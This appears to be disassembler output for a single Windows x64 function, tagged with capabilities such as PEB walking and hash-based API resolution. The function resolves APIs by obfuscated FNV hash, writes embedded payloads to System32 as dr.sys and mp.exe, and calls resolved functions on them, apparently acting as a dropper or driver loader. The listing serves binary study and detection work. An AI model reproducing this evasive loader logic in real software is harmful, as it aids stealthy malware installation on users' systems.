Function at 0x14004f860
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004f8f6
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004f8f6
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0xe7c40ee4
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14004f8f1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14004f8d0
cmp r8d, 0x852cdf7d
je 0x14004f8fb
test r9d, r9d
jne 0x14004f8b0
mov rax, qword [rax]
jmp 0x14004f880
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [0x1400b99ec]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004f9a6
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004f9a6
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x58cb7c8c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004f9a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004f980
cmp r8d, 0x80679085
je 0x14004f9ab
test r9d, r9d
jne 0x14004f960
mov rax, qword [rax]
jmp 0x14004f930
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, str.color_7
call rdx
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, 0x22
lea rdx, str._n_n_Loading_drivers_please_wait..._n
lea rcx, [rsp + 0x20]
call fcn.140006ee0
mov dword [rsp + 0x40], 0x32
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14004f6d0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14004fa50
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fa4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fa4b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400840f4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004fae6
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004fae6
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe3d0d48b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004fae1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004fac0
cmp r8d, 0xfb07ffce
je 0x14004faeb
test r9d, r9d
jne 0x14004faa0
mov rax, qword [rax]
jmp 0x14004fa70
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, 0x1a
lea rdx, str.C:WindowsSystem32dr.sys
lea rcx, [rsp + 0x20]
call fcn.140006ee0
nop
mov r8d, 0x2400
lea rdx, [0x1401089e0]
lea rcx, [rsp + 0x20]
call fcn.14004f510
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14004fb8a
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fb85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fb85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400840f4
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, 0x1a
lea rdx, str.C:WindowsSystem32mp.exe
lea rcx, [rsp + 0x20]
call fcn.140006ee0
nop
mov r8d, 0x23200
lea rdx, [0x1400cf210]
lea rcx, [rsp + 0x20]
call fcn.14004f510
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14004fc0b
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fc06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fc06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400840f4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004fc96
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004fc96
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
mov r8d, 0x9415177c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004fc91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004fc70
cmp r8d, 0x2e23f435
je 0x14004fc9b
test r9d, r9d
jne 0x14004fc50
mov rax, qword [rax]
jmp 0x14004fc20
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [0x1400b99ec]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004fd46
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004fd46
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
mov r8d, 0xa1176a8a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004fd41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004fd20
cmp r8d, 0x57cc3673
je 0x14004fd4b
test r9d, r9d
jne 0x14004fd00
mov rax, qword [rax]
jmp 0x14004fcd0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, str.C:WindowsSystem32mp.exe_C:WindowsSystem32dr.sys
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004fdf6
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004fdf6
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
mov r8d, 0x1e1a6de8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004fdf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004fdd0
cmp r8d, 0x97ad2ebb
je 0x14004fdfb
test r9d, r9d
jne 0x14004fdb0
mov rax, qword [rax]
jmp 0x14004fd80
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x1f4
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004fea6
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004fea6
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
mov r8d, 0x10f7c72f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004fea1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004fe80
cmp r8d, 0xd76a92f3
je 0x14004feab
test r9d, r9d
jne 0x14004fe60
mov rax, qword [rax]
jmp 0x14004fe30
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, str.C:WindowsSystem32dr.sys
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004ff56
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004ff56
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
mov r8d, 0x7ca05892
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004ff51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004ff30
cmp r8d, 0x515b0836
je 0x14004ff5b
test r9d, r9d
jne 0x14004ff10
mov rax, qword [rax]
jmp 0x14004fee0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, str.C:WindowsSystem32mp.exe
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140050006
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140050006
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
mov r8d, 0x39b1ce9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140050001
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004ffe0
cmp r8d, 0x9d115548
je 0x14005000b
test r9d, r9d
jne 0x14004ffc0
mov rax, qword [rax]
jmp 0x14004ff90
mov edx, dword [rbx + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
lea rcx, [0x1400b99ec]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400500b6
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400500b6
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
mov r8d, 0xfe98d673
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400500b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140050090
cmp r8d, 0xc1e73036
je 0x1400500bb
test r9d, r9d
jne 0x140050070
mov rax, qword [rax]
jmp 0x140050040
mov edx, dword [rbx + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
mov ecx, 0x1f4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
jmp rax